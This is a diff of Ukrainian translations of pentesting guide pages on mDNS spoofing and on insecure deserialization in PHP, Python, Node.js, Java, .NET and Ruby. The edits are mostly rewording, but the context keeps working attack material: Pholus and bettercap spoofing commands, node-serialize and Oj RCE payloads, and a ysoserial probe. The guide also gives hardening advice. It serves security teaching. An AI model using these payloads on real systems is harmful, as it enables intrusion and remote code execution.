diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index 7be098f45..3b0df4b9d 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -59,21 +59,21 @@ sudo tshark -i -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-s ### Втручання в пробування імен mDNS (DoS / name squatting) -Під час фази пробування хост перевіряє унікальність імені. Відповідь з підробленими конфліктами змушує його вибрати нові імена або зазнати невдачі. Це може затримати або запобігти реєстрації та виявленню послуг. +Під час фази пробування хост перевіряє унікальність імен. Відповідь з підробленими конфліктами змушує його вибрати нові імена або зазнати невдачі. Це може затримати або запобігти реєстрації та виявленню послуг. Приклад з Pholus: ```bash # Block new devices from taking names by auto-faking responses sudo python3 pholus3.py -afre -stimeout 1000 ``` -### Підробка сервісів та імперсонація (MitM) +### Підробка сервісів та імперсонування (MitM) -Імперсонуйте рекламовані DNS-SD сервіси (принтери, AirPlay, HTTP, файлові спільноти), щоб змусити клієнтів підключатися до вас. Це особливо корисно для: -- Захоплення документів, підробляючи _ipp._tcp або _printer._tcp. +Імперсонувати рекламовані DNS-SD сервіси (принтери, AirPlay, HTTP, файлові спільноти), щоб змусити клієнтів підключатися до вас. Це особливо корисно для: +- Захоплення документів шляхом підробки _ipp._tcp або _printer._tcp. - Привертання клієнтів до HTTP/HTTPS сервісів для збору токенів/куків або доставки payloads. - Поєднання з техніками реле NTLM, коли клієнти Windows ведуть переговори про автентифікацію до підроблених сервісів. -З модулем zerogod від bettercap (підробник/імперсонувач mDNS/DNS-SD): +З модулем zerogod від bettercap (mDNS/DNS-SD підробник/імперсонатор): ```bash # Start mDNS/DNS-SD discovery sudo bettercap -iface -eval "zerogod.discovery on" @@ -100,8 +100,8 @@ sudo bettercap -iface -eval "zerogod.discovery on" ### Примітки щодо недавніх проблем з реалізацією (корисно для DoS/стійкості під час залучень) -- Помилки досягнення Avahi та збої D-Bus (2023) можуть призвести до завершення avahi-daemon на дистрибутивах Linux (наприклад, CVE-2023-38469..38473, CVE-2023-1981), що порушує виявлення сервісів на цільових хостах до перезавантаження. -- DoS шлюзу mDNS контролера бездротової LAN Cisco IOS XE (2024, CVE-2024-20303) дозволяє сусіднім зловмисникам викликати високе навантаження на ЦП і відключати AP. Якщо ви стикаєтеся з шлюзом mDNS між VLAN, будьте обережні щодо його стабільності при неправильно сформованому або високому трафіку mDNS. +- Помилки досягнення Avahi та збої D-Bus (2023) можуть завершити avahi-daemon на дистрибутивах Linux (наприклад, CVE-2023-38469..38473, CVE-2023-1981), порушуючи виявлення сервісів на цільових хостах до перезавантаження. +- DoS шлюзу mDNS контролера бездротової LAN Cisco IOS XE (2024, CVE-2024-20303) дозволяє сусіднім зловмисникам викликати високе навантаження на ЦП і відключати AP. Якщо ви стикаєтеся з шлюзом mDNS між VLAN, будьте обережні щодо його стабільності при неправильно сформованих або високошвидкісних mDNS. ## Оборонні міркування та OPSEC @@ -112,12 +112,12 @@ sudo bettercap -iface -eval "zerogod.discovery on" HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD) ``` - У керованих середовищах вимкніть вбудоване правило брандмауера Windows Defender “mDNS (UDP-In)” (принаймні на профілі домену), щоб запобігти вхідній обробці mDNS, зберігаючи функціональність домашньої/мобільної роботи. -- У новіших версіях Windows 11/GPO шаблонах використовуйте політику “Конфігурація комп'ютера > Адміністративні шаблони > Мережа > DNS-клієнт > Налаштувати протокол мультикастового DNS (mDNS)” і встановіть його на Вимкнено. +- У новіших версіях Windows 11/GPO шаблонах використовуйте політику “Конфігурація комп'ютера > Адміністративні шаблони > Мережа > DNS-клієнт > Налаштувати протокол multicast DNS (mDNS)” і встановіть його на Вимкнено. - Linux (Avahi): - Обмежте публікацію, коли це не потрібно: встановіть `disable-publishing=yes`, і обмежте інтерфейси за допомогою `allow-interfaces=` / `deny-interfaces=` в `/etc/avahi/avahi-daemon.conf`. - Розгляньте `check-response-ttl=yes` і уникайте `enable-reflector=yes`, якщо це не є строго необхідним; надавайте перевагу `reflect-filters=` дозволеним спискам при відображенні. - macOS: Обмежте вхідний mDNS на хостах/мережевих брандмауерах, коли виявлення Bonjour не потрібно для конкретних підмереж. -- Моніторинг: Сповіщайте про незвичайні сплески запитів `_services._dns-sd._udp.local` або раптові зміни в SRV/TXT критичних сервісів; це є показниками спуфінгу або імітації сервісу. +- Моніторинг: Сповіщайте про незвичайні сплески запитів `_services._dns-sd._udp.local` або раптові зміни в SRV/TXT критичних сервісів; це є показниками спуфінгу або наслідування сервісу. ## Швидка довідка по інструментах @@ -133,7 +133,7 @@ sudo python3 pholus3.py --request # Зворотне mDNS сканування підмережі sudo python3 pholus3.py -rdns_scanning 192.168.2.0/24 ``` -- bettercap zerogod: виявлення, збереження, реклама та імітація mDNS/DNS-SD сервісів (див. приклади вище). +- bettercap zerogod: виявлення, збереження, реклама та наслідування mDNS/DNS-SD сервісів (див. приклади вище). ## Спуфінг/MitM diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index af14cef87..64ef33a92 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -4,7 +4,7 @@ ## Basic Information -**Серіалізація** розуміється як метод перетворення об'єкта в формат, який може бути збережений, з наміром або зберегти об'єкт, або передати його як частину процесу комунікації. Ця техніка зазвичай використовується для забезпечення можливості відтворення об'єкта пізніше, зберігаючи його структуру та стан. +**Серіалізація** розуміється як метод перетворення об'єкта в формат, який може бути збережений, з наміром або зберегти об'єкт, або передати його як частину процесу комунікації. Ця техніка зазвичай використовується для забезпечення можливості відтворення об'єкта в майбутньому, зберігаючи його структуру та стан. **Десеріалізація**, навпаки, є процесом, який протидіє серіалізації. Вона передбачає взяття даних, які були структуровані в певному форматі, і відновлення їх назад в об'єкт. @@ -120,7 +120,7 @@ $ser=serialize($o); > [!INFO] > Підтримка **другого аргументу** функції `unserialize()` (масив `$options`) була додана в **PHP 7.0**. У старіших версіях функція приймає лише серіалізований рядок, що ускладнює обмеження класів, які можуть бути інстанційовані. -`unserialize()` **інстанціює кожен клас**, який він знаходить у серіалізованому потоці, якщо не вказано інше. З PHP 7 поведінку можна обмежити за допомогою опції [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php): +`unserialize()` **інстанціює кожен клас**, який він знаходить у серіалізованому потоці, якщо не вказано інше. Починаючи з PHP 7, поведінку можна обмежити за допомогою опції [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php): ```php // NEVER DO THIS – full object instantiation $object = unserialize($userControlledData); @@ -135,11 +135,11 @@ $object = unserialize($userControlledData, [ 'allowed_classes' => [MyModel::class, DateTime::class] ]); ``` -Якщо **`allowed_classes` пропущено _або_ код працює на PHP < 7.0**, виклик стає **небезпечним**, оскільки зловмисник може створити корисне навантаження, яке використовує магічні методи, такі як `__wakeup()` або `__destruct()`, для досягнення віддаленого виконання коду (RCE). +Якщо **`allowed_classes` пропущено _або_ код виконується на PHP < 7.0**, виклик стає **небезпечним**, оскільки зловмисник може створити корисне навантаження, яке використовує магічні методи, такі як `__wakeup()` або `__destruct()`, для досягнення віддаленого виконання коду (RCE). #### Приклад з реального світу: Everest Forms (WordPress) CVE-2025-52709 -Плагін WordPress **Everest Forms ≤ 3.2.2** намагався бути захисним з допоміжною обгорткою, але забув про старі версії PHP: +Плагін WordPress **Everest Forms ≤ 3.2.2** намагався бути захисним з допоміжною обгорткою, але забув про застарілі версії PHP: ```php function evf_maybe_unserialize($data, $options = array()) { if (is_serialized($data)) { @@ -169,7 +169,7 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"";} ### PHPGGC (ysoserial для PHP) -[**PHPGGC**](https://github.com/ambionics/phpggc) може допомогти вам генерувати payload для зловживання десеріалізаціями PHP.\ +[**PHPGGC**](https://github.com/ambionics/phpggc) може допомогти вам генерувати payload'и для зловживання PHP десеріалізаціями.\ Зверніть увагу, що в кількох випадках ви **не зможете знайти спосіб зловживати десеріалізацією в вихідному коді** програми, але ви можете **зловживати кодом зовнішніх PHP розширень.**\ Отже, якщо можете, перевірте `phpinfo()` сервера і **пошукайте в інтернеті** (навіть на **gadgets** **PHPGGC**) можливі gadgets, якими ви могли б зловживати. @@ -186,7 +186,7 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"";} ### **Pickle** -Коли об'єкт десеріалізується, функція \_\_\_reduce\_\_\_ буде виконана.\ +Коли об'єкт розпаковується, функція \_\_\_reduce\_\_\_ буде виконана.\ При експлуатації сервер може повернути помилку. ```python import pickle, os, base64 @@ -197,7 +197,7 @@ print(base64.b64encode(pickle.dumps(P()))) ``` Перед перевіркою техніки обходу спробуйте використати `print(base64.b64encode(pickle.dumps(P(),2)))`, щоб згенерувати об'єкт, який сумісний з python2, якщо ви використовуєте python3. -Для отримання додаткової інформації про вихід з **pickle jails** перегляньте: +Для отримання додаткової інформації про вихід з **pickle jails** дивіться: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ @@ -221,7 +221,7 @@ python-yaml-deserialization.md ### JS Magic Functions -JS **не має "магічних" функцій**, як PHP або Python, які виконуються лише для створення об'єкта. Але він має деякі **функції**, які **часто використовуються навіть без прямого виклику**, такі як **`toString`**, **`valueOf`**, **`toJSON`**.\ +JS **не має "магічних" функцій** на кшталт PHP або Python, які виконуються лише для створення об'єкта. Але має деякі **функції**, які **часто використовуються навіть без прямого виклику**, такі як **`toString`**, **`valueOf`**, **`toJSON`**.\ Якщо зловживати десеріалізацією, ви можете **компрометувати ці функції для виконання іншого коду** (потенційно зловживаючи забрудненням прототипу), ви могли б виконати довільний код, коли їх викликають. Ще один **"магічний" спосіб викликати функцію** без прямого виклику - це **компрометація об'єкта, який повертається асинхронною функцією** (promise). Тому, якщо ви **перетворите** цей **об'єкт повернення** в інший **promise** з **властивістю** під назвою **"then" типу функція**, він буде **виконаний** лише тому, що його повертає інший promise. _Слідкуйте_ [_**за цим посиланням**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _для отримання додаткової інформації._ @@ -271,13 +271,13 @@ var serialize = require("node-serialize") var payload_serialized = serialize.serialize(y) console.log("Serialized: \n" + payload_serialized) ``` -**Серіалізований об'єкт** виглядатиме так: +Серіалізований об'єкт виглядатиме так: ```bash {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} ``` Ви можете побачити в прикладі, що коли функція серіалізується, до серіалізованого об'єкта додається прапорець `_$$ND_FUNC$$_`. -Всередині файлу `node-serialize/lib/serialize.js` ви можете знайти той же прапорець і як код його використовує. +Всередині файлу `node-serialize/lib/serialize.js` ви можете знайти той же прапорець і те, як код його використовує. ![](<../../images/image (351).png>) @@ -286,8 +286,8 @@ console.log("Serialized: \n" + payload_serialized) Як ви можете бачити в останньому фрагменті коду, **якщо прапорець знайдено**, використовується `eval` для десеріалізації функції, тому в основному **вхідні дані користувача використовуються всередині функції `eval`**. Однак, **просто серіалізувати** функцію **не виконає її**, оскільки необхідно, щоб якась частина коду **викликала `y.rce`** в нашому прикладі, і це малоймовірно.\ -У будь-якому випадку, ви могли б просто **модифікувати серіалізований об'єкт**, **додавши деякі дужки**, щоб автоматично виконати серіалізовану функцію, коли об'єкт буде десеріалізовано.\ -У наступному фрагменті коду **зверніть увагу на останні дужки** і як функція `unserialize` автоматично виконає код: +У будь-якому випадку, ви могли б просто **модифікувати серіалізований об'єкт**, **додавши деякі дужки**, щоб автоматично виконати серіалізовану функцію, коли об'єкт десеріалізується.\ +У наступному фрагменті коду **зверніть увагу на останню дужку** і на те, як функція `unserialize` автоматично виконає код: ```javascript var serialize = require("node-serialize") var test = { @@ -295,7 +295,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er } serialize.unserialize(test) ``` -Як було зазначено раніше, ця бібліотека отримає код після `_$$ND_FUNC$$_` і **виконає його** за допомогою `eval`. Тому, щоб **автоматично виконати код**, ви можете **видалити частину створення функції** та останню дужку і **просто виконати JS однолінійник** як у наступному прикладі: +Як було зазначено раніше, ця бібліотека отримає код після `_$$ND_FUNC$$_` і **виконає його** за допомогою `eval`. Тому, щоб **автоматично виконати код**, ви можете **видалити частину створення функції** та останню дужку і **просто виконати JS oneliner** як у наступному прикладі: ```javascript var serialize = require("node-serialize") var test = @@ -400,7 +400,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA ``` ### Перевірте, чи є вразливість -Якщо ви хочете **дізнатися, як працює експлойт Java Deserialized**, вам слід ознайомитися з [**Основною десеріалізацією Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Десеріалізацією DNS Java**](java-dns-deserialization-and-gadgetprobe.md) та [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md). +Якщо ви хочете **дізнатися, як працює експлойт Java Deserialized**, вам слід ознайомитися з [**Основною десеріалізацією Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Десеріалізацією Java DNS**](java-dns-deserialization-and-gadgetprobe.md) та [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md). #### Тестування в білому ящику @@ -413,13 +413,13 @@ grep -R InvokeTransformer . Ви також можете використовувати [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) для пошуку можливих ланцюгів гаджетів, які можна експлуатувати.\ При запуску **gadgetinspector** (після його збірки) не звертайте уваги на безліч попереджень/помилок, які він проходить, і дайте йому закінчити. Він запише всі знахідки під _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Будь ласка, зверніть увагу, що **gadgetinspector не створить експлойт і може вказувати на хибнопозитивні результати**. -#### Чорний ящик +#### Чорна скринька -Використовуючи розширення Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), ви можете визначити **які бібліотеки доступні** (і навіть версії). З цією інформацією може бути **легше вибрати payload** для експлуатації вразливості.\ +Використовуючи розширення Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), ви можете ідентифікувати **які бібліотеки доступні** (і навіть версії). З цією інформацією може бути **легше вибрати payload** для експлуатації вразливості.\ [**Прочитайте це, щоб дізнатися більше про GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ GadgetProbe зосереджений на **`ObjectInputStream` десеріалізаціях**. -Використовуючи розширення Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), ви можете **виявити вразливі бібліотеки**, які можна експлуатувати за допомогою ysoserial, і **експлуатувати** їх.\ +Використовуючи розширення Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), ви можете **ідентифікувати вразливі бібліотеки**, які можна експлуатувати за допомогою ysoserial, і **експлуатувати** їх.\ [**Прочитайте це, щоб дізнатися більше про Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ Java Deserialization Scanner зосереджений на **`ObjectInputStream`** десеріалізаціях. @@ -429,15 +429,15 @@ Java Deserialization Scanner зосереджений на **`ObjectInputStream` **Тест на серіалізацію** Не все зводиться до перевірки, чи використовується якась вразлива бібліотека сервером. Іноді ви можете **змінити дані всередині серіалізованого об'єкта і обійти деякі перевірки** (можливо, надати вам адміністративні привілеї в веб-додатку).\ -Якщо ви знайдете серіалізований об'єкт java, що надсилається до веб-додатку, **ви можете використовувати** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **для виведення в більш зрозумілому форматі серіалізованого об'єкта, що надсилається**. Знаючи, які дані ви надсилаєте, буде легше їх змінити і обійти деякі перевірки. +Якщо ви знайдете серіалізований об'єкт java, що надсилається до веб-додатку, **ви можете використовувати** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **для виведення серіалізованого об'єкта в більш зрозумілому форматі**. Знаючи, які дані ви надсилаєте, буде легше їх змінити і обійти деякі перевірки. ### **Експлойт** #### **ysoserial** -Основний інструмент для експлуатації Java десеріалізацій - це [**ysoserial**](https://github.com/frohoff/ysoserial) ([**скачати тут**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ви також можете розглянути можливість використання [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), що дозволить вам використовувати складні команди (наприклад, з конвеєрами).\ +Основний інструмент для експлуатації Java десеріалізацій - це [**ysoserial**](https://github.com/frohoff/ysoserial) ([**скачати тут**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ви також можете розглянути можливість використання [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), який дозволить вам використовувати складні команди (наприклад, з конвеєрами).\ Зверніть увагу, що цей інструмент **зосереджений** на експлуатації **`ObjectInputStream`**.\ -Я б **почав використовувати payload "URLDNS"** **перед RCE** payload, щоб перевірити, чи можлива ін'єкція. У будь-якому випадку, зверніть увагу, що, можливо, payload "URLDNS" не працює, але інший RCE payload може. +Я б **почав використовувати payload "URLDNS"** **перед RCE** payload, щоб перевірити, чи можлива ін'єкція. У будь-якому випадку, зверніть увагу, що, можливо, payload "URLDNS" не працює, але інший RCE payload працює. ```bash # PoC to make the application perform a DNS req java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload @@ -564,7 +564,7 @@ private transient double margin; // declared transient ``` #### Уникайте серіалізації класу, який повинен реалізовувати Serializable -У сценаріях, де певні **об'єкти повинні реалізовувати інтерфейс `Serializable`** через ієрархію класів, існує ризик ненавмисної десеріалізації. Щоб запобігти цьому, переконайтеся, що ці об'єкти не підлягають десеріалізації, визначивши метод `final` `readObject()`, який постійно викидає виключення, як показано нижче: +У сценаріях, де певні **об'єкти повинні реалізовувати інтерфейс `Serializable`** через ієрархію класів, існує ризик ненавмисної десеріалізації. Щоб запобігти цьому, переконайтеся, що ці об'єкти не підлягають десеріалізації, визначивши `final` метод `readObject()`, який постійно викидає виключення, як показано нижче: ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); @@ -572,9 +572,9 @@ throw new java.io.IOException("Cannot be deserialized"); ``` #### **Покращення безпеки десеріалізації в Java** -**Налаштування `java.io.ObjectInputStream`** є практичним підходом для забезпечення безпеки процесів десеріалізації. Цей метод підходить, коли: +**Налаштування `java.io.ObjectInputStream`** є практичним підходом для забезпечення процесів десеріалізації. Цей метод підходить, коли: -- Код десеріалізації знаходиться під вашим контролем. +- Код десеріалізації під вашим контролем. - Відомі класи, які очікуються для десеріалізації. Перевизначте метод **`resolveClass()`**, щоб обмежити десеріалізацію лише дозволеними класами. Це запобігає десеріалізації будь-якого класу, крім тих, що явно дозволені, як у наступному прикладі, який обмежує десеріалізацію лише класом `Bicycle`: @@ -620,7 +620,7 @@ return Status.ALLOWED; }; ObjectInputFilter.Config.setSerialFilter(filter); ``` -**Використання зовнішніх бібліотек для підвищення безпеки**: Бібліотеки, такі як **NotSoSerial**, **jdeserialize** та **Kryo**, пропонують розширені функції для контролю та моніторингу десеріалізації Java. Ці бібліотеки можуть забезпечити додаткові рівні безпеки, такі як білий або чорний списки класів, аналіз серіалізованих об'єктів перед десеріалізацією та реалізація власних стратегій серіалізації. +**Використання зовнішніх бібліотек для підвищення безпеки**: Бібліотеки, такі як **NotSoSerial**, **jdeserialize** та **Kryo**, пропонують розширені можливості для контролю та моніторингу десеріалізації Java. Ці бібліотеки можуть забезпечити додаткові рівні безпеки, такі як білий або чорний списки класів, аналіз серіалізованих об'єктів перед десеріалізацією та реалізацію власних стратегій серіалізації. - **NotSoSerial** перехоплює процеси десеріалізації, щоб запобігти виконанню ненадійного коду. - **jdeserialize** дозволяє аналізувати серіалізовані Java-об'єкти без їх десеріалізації, що допомагає виявити потенційно шкідливий контент. @@ -637,12 +637,12 @@ ObjectInputFilter.Config.setSerialFilter(filter); - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) -- Десеріалізація Java та .Net JSON **стаття:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Дослідження десеріалізації Java та .Net JSON **папір:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - CVE десеріалізацій: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) ## JNDI Injection & log4Shell -Дізнайтеся, що таке **JNDI Injection, як його зловживати через RMI, CORBA та LDAP і як експлуатувати log4shell** (і приклад цієї уразливості) на наступній сторінці: +Дізнайтеся, що таке **JNDI Injection, як його зловживати через RMI, CORBA та LDAP і як експлуатувати log4shell** (і приклад цієї вразливості) на наступній сторінці: {{#ref}} jndi-java-naming-and-directory-interface-and-log4shell.md @@ -650,7 +650,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ## JMS - Java Message Service -> API **Java Message Service** (**JMS**) є Java API для обміну повідомленнями, орієнтованим на послуги, для надсилання повідомлень між двома або більше клієнтами. Це реалізація для вирішення проблеми виробника-споживача. JMS є частиною Java Platform, Enterprise Edition (Java EE) і була визначена специфікацією, розробленою в Sun Microsystems, але з тих пір керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, надсилати, отримувати та читати повідомлення. Це дозволяє зв'язку між різними компонентами розподіленого додатку бути слабо пов'язаним, надійним і асинхронним. (З [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). +> **Java Message Service** (**JMS**) API є Java API для обміну повідомленнями між двома або більше клієнтами. Це реалізація для вирішення проблеми виробника-споживача. JMS є частиною Java Platform, Enterprise Edition (Java EE) і була визначена специфікацією, розробленою в Sun Microsystems, але з тих пір керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, надсилати, отримувати та читати повідомлення. Це дозволяє зв'язку між різними компонентами розподіленого додатка бути слабо пов'язаним, надійним і асинхронним. (З [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). ### Продукти @@ -678,7 +678,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ## .Net -У контексті .Net експлойти десеріалізації працюють подібно до тих, що зустрічаються в Java, де гаджети експлуатуються для виконання конкретного коду під час десеріалізації об'єкта. +У контексті .Net експлойти десеріалізації працюють аналогічно тим, що зустрічаються в Java, де гаджети експлуатуються для виконання конкретного коду під час десеріалізації об'єкта. ### Відбиток @@ -689,11 +689,11 @@ jndi-java-naming-and-directory-interface-and-log4shell.md 1. `TypeNameHandling` 2. `JavaScriptTypeResolver` -Слід зосередитися на серіалізаторах, які дозволяють визначати тип за змінною під контролем користувача. +Слід зосередитися на серіалізаторах, які дозволяють визначити тип за змінною під контролем користувача. #### BlackBox -Пошук слід націлити на рядок, закодований у Base64 **AAEAAAD/////** або будь-який подібний шаблон, який може підлягати десеріалізації на стороні сервера, надаючи контроль над типом, що підлягає десеріалізації. Це може включати, але не обмежується, **JSON** або **XML** структурами з `TypeObject` або `$type`. +Пошук слід націлити на рядок, закодований у Base64 **AAEAAAD/////** або будь-який подібний шаблон, який може бути десеріалізований на стороні сервера, надаючи контроль над типом, що підлягає десеріалізації. Це може включати, але не обмежується, **JSON** або **XML** структурами з `TypeObject` або `$type`. ### ysoserial.net @@ -704,9 +704,9 @@ jndi-java-naming-and-directory-interface-and-log4shell.md Основні параметри **ysoserial.net**: **`--gadget`**, **`--formatter`**, **`--output`** та **`--plugin`.** - **`--gadget`** використовується для вказівки гаджета, який потрібно зловживати (вказати клас/функцію, яка буде зловживатися під час десеріалізації для виконання команд). -- **`--formatter`**, використовується для вказівки методу серіалізації експлойту (вам потрібно знати, яка бібліотека використовується на сервері для десеріалізації корисного навантаження, і використовувати ту ж саму для серіалізації). -- **`--output`** використовується для вказівки, чи хочете ви експлойт у **сирому** або **base64** закодованому вигляді. _Зверніть увагу, що **ysoserial.net** буде **кодувати** корисне навантаження, використовуючи **UTF-16LE** (кодування, що використовується за замовчуванням на Windows), тому, якщо ви отримаєте сирий і просто закодуєте його з консолі Linux, ви можете зіткнутися з деякими **проблемами сумісності кодування**, які завадять експлойту працювати належним чином (в HTB JSON box корисне навантаження працювало як в UTF-16LE, так і в ASCII, але це не означає, що воно завжди буде працювати)._ -- **`--plugin`** ysoserial.net підтримує плагіни для створення **експлойтів для конкретних фреймворків**, таких як ViewState. +- **`--formatter`**, використовується для вказівки методу для серіалізації експлойту (вам потрібно знати, яка бібліотека використовується на сервері для десеріалізації корисного навантаження, і використовувати ту ж саму для серіалізації). +- **`--output`** використовується для вказівки, чи хочете ви експлойт у **сирому** або **base64** закодованому вигляді. _Зверніть увагу, що **ysoserial.net** буде **кодувати** корисне навантаження, використовуючи **UTF-16LE** (кодування, що використовується за замовчуванням у Windows), тому, якщо ви отримаєте сирий і просто закодуєте його з консолі Linux, ви можете зіткнутися з деякими **проблемами сумісності кодування**, які завадять експлойту працювати належним чином (в HTB JSON box корисне навантаження працювало як в UTF-16LE, так і в ASCII, але це не означає, що воно завжди буде працювати)._ +- **`--plugin`** ysoserial.net підтримує плагіни для створення **експлойтів для конкретних фреймворків**, таких як ViewState #### Більше параметрів ysoserial.net @@ -774,10 +774,10 @@ return obj; - **Для `JSON.Net` встановіть `TypeNameHandling` на `None`:** `TypeNameHandling = TypeNameHandling.None` - **Уникайте використання `JavaScriptSerializer` з `JavaScriptTypeResolver`.** - **Обмежте типи, які можуть бути десеріалізовані**, розуміючи вроджені ризики з типами .Net, такими як `System.IO.FileInfo`, які можуть змінювати властивості файлів сервера, що потенційно призводить до атак відмови в обслуговуванні. -- **Будьте обережні з типами, які мають ризиковані властивості**, такими як `System.ComponentModel.DataAnnotations.ValidationException` з його властивістю `Value`, яка може бути експлуатована. -- **Надійно контролюйте створення типів**, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть `DataContractSerializer` або `XmlSerializer` вразливими. -- **Впровадьте контролі білого списку** за допомогою власного `SerializationBinder` для `BinaryFormatter` та `JSON.Net`. -- **Будьте в курсі відомих небезпечних гаджетів десеріалізації** в .Net і переконайтеся, що десеріалізатори не створюють такі типи. +- **Будьте обережні з типами, які мають ризиковані властивості**, такими як `System.ComponentModel.DataAnnotations.ValidationException` з його властивістю `Value`, яка може бути використана в атаках. +- **Надійно контролюйте інстанціювання типів**, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть `DataContractSerializer` або `XmlSerializer` вразливими. +- **Впровадьте контролі білого списку** за допомогою кастомного `SerializationBinder` для `BinaryFormatter` та `JSON.Net`. +- **Будьте в курсі відомих небезпечних гаджетів десеріалізації** в .Net і переконайтеся, що десеріалізатори не інстанціюють такі типи. - **Ізолюйте потенційно ризикований код** від коду з доступом до Інтернету, щоб уникнути експонування відомих гаджетів, таких як `System.Windows.Data.ObjectDataProvider` в WPF додатках, до ненадійних джерел даних. ### **References** @@ -914,7 +914,7 @@ candidate_methods.length() # Final number of methods=> 3595 ### Інші бібліотеки -Ця техніка була взята [**з цього блогу**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). +Цю техніку було взято [**з цього блогу**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). Існують інші бібліотеки Ruby, які можна використовувати для серіалізації об'єктів, і тому їх можна зловживати для отримання RCE під час небезпечної десеріалізації. Наступна таблиця показує деякі з цих бібліотек та метод, який вони викликають з завантаженої бібліотеки щоразу, коли вона десеріалізується (функція для зловживання для отримання RCE в основному): @@ -954,7 +954,7 @@ Oj.load(json_payload) "password": "anypw" } ``` -Більше того, було виявлено, що за допомогою попередньої техніки в системі також створюється папка, що є вимогою для зловживання іншим гаджетом, щоб перетворити це на повноцінний RCE з чимось на зразок: +Більше того, було виявлено, що за допомогою попередньої техніки в системі також створюється папка, що є вимогою для зловживання іншим гаджетом, щоб перетворити це на повноцінний RCE з чимось на кшталт: ```json { "^o": "Gem::Resolver::SpecSpecification", @@ -976,17 +976,17 @@ Oj.load(json_payload) } } ``` -Перевірте більше 